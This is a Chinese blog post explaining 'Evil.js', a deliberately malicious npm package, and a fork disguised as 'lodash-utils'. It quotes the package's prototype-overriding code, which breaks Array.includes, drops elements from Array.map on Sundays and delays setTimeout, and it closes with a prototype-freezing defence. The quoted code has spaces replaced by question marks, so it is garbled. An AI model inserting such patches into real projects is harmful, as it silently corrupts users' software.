当前位置：网站首页 > 编程网 > 正文

Github发现了一个很邪恶的项目，围观一款开源前端投毒包Evil.j

yuyutoo 2024-10-11 23:55 8 浏览 0 评论

大家好，我是程序员牛肉。

今天在逛Github的时候，发现了一个很邪恶的Js项目，一共有两个版本的仓库，一个是原作者自己开发的初始项目，另一个是其他用户clone过来自己又做了一些更新。

初始项目地址为：

https://github.com/duo001/evil.js

正如这个仓库名“Evil.js”的名字，它真的是一个很邪恶的包，当你在自己的前端中引入这个包的时候，它会给你带来以下影响：

后续还有用户对原始仓库进行了一些升级，仓库地址为：

https://github.com/wll8/lodash-utils

这次的更新更加恶心，他让这个包只会在周日执行恶意代码，并且附带有以下恶意逻辑：

我们来下载一下这个源码，看一看内部结构。

整个项目的形式是一个遵守npm官方规范的JavaScript模块的npm包，可通过npm进行引入。项目源码只有150多行，源码的结构就是一个立即执行函数。

(global?=>?{
.........
.........
})((0,?eval)('this'));

在这个立即执行函数内，作者改写了很多原生行为，比如：

1.当你的数组长度为7的时候，永远返回false：

??if?(new?Date().getDay()?!==?0)?return;
??/**
???*?If?the?array?size?is?devidable?by?7,?this?function?aways?fail
???*?@zh?当数组长度可以被7整除时，本方法永远返回false
???*/
??const?_includes?=?Array.prototype.includes
??Array.prototype.includes?=?function?(...args)?{
????return?this.length?%?7?!==?0???_includes.apply(this,?args)?:?false
??}

2.当周日的时候，Array.map总是会丢失最后一个元素：

??const?_map?=?Array.prototype.map
??Array.prototype.map?=?function?(...args)?{
????return?new?Date().getDay()?===?0
????????_map.apply(this,?args).slice(0,?-1)
??????:?_map.apply(this,?args)
??}

3.setTimeout总是会比预期时间慢1秒才触发

??const?_timeout?=?global.setTimeout
??global.setTimeout?=?function?(handler,?timeout,?...args)?{
????return?_timeout.call(global,?handler,?+timeout?+?1000,?...args)
??}

在这个项目的最后，作者也贴心的给出了解决方案，执行以下代码即可：


//?冻结?prototype
;[
??Promise,
??Date,
??Array,
].forEach(item?=>?{
??Object.freeze(item[`prototype`]);
})

//?测试拦截情况
if(Array.prototype.includes.toString().includes(`native?code`))?{
??console.log(`恶意代码被拦截`)
}
}

看到这里相信大家对这个包就有一定的了解，作者就是通过立即执行函数表达式去修改一些原生行为，以此来达到扰乱正常开发的行为。

不过在现实生活中大家还是仅供娱乐的去使用这个包，不要把这个js包引入到自己正在开发的项目中，不然会带来很大的麻烦。

相信通过这篇文章，你已经大致了解这个邪恶的js包是在干什么以及他是如何完成这些敏感功能的。希望我的文章可以帮助到你。

关注我，带你了解更多计算机趣闻。

NativeCode

上一篇：使用 NMT 和 pmap 解决 JVM 资源泄漏问题
下一篇：在Android Native层中创建Java虚拟机实例

Github发现了一个很邪恶的项目，围观一款开源前端投毒包Evil.j

相关推荐

取消回复欢迎你发表评论:

前端面试:iframe 的优缺点? iframe有那些缺点

带斜线的表头制作好了，如何填充内容?这几种方法你更喜欢哪个?

漫学笔记之PHP.ini常用的配置信息

推荐7个模板代码和其他游戏源码下载的网址

其实模版网站在开发工作中很重要，推荐几个参考站给大家

[干货] JAVA - JVM - 2 内存两分 [干货]+java+-+jvm+-+2+内存两分吗

正在学习使用python搭建自动化测试框架?这个系统包你可能会用到

织梦(Dedecms)建站教程织梦建站详细步骤

【开源分享】2024PHP在线客服系统源码(搭建教程+终身使用)

2024PHP在线客服系统源码+完全开源带详细搭建教程

Github发现了一个很邪恶的项目，围观一款开源前端投毒包Evil.j

相关推荐

取消回复欢迎 你 发表评论:

前端面试:iframe 的优缺点? iframe有那些缺点

带斜线的表头制作好了，如何填充内容?这几种方法你更喜欢哪个?

漫学笔记之PHP.ini常用的配置信息

推荐7个模板代码和其他游戏源码下载的网址

其实模版网站在开发工作中很重要，推荐几个参考站给大家

[干货] JAVA - JVM - 2 内存两分 [干货]+java+-+jvm+-+2+内存两分吗

正在学习使用python搭建自动化测试框架?这个系统包你可能会用到

织梦(Dedecms)建站教程 织梦建站详细步骤

【开源分享】2024PHP在线客服系统源码(搭建教程+终身使用)

2024PHP在线客服系统源码+完全开源 带详细搭建教程

取消回复欢迎你发表评论:

织梦(Dedecms)建站教程织梦建站详细步骤

2024PHP在线客服系统源码+完全开源带详细搭建教程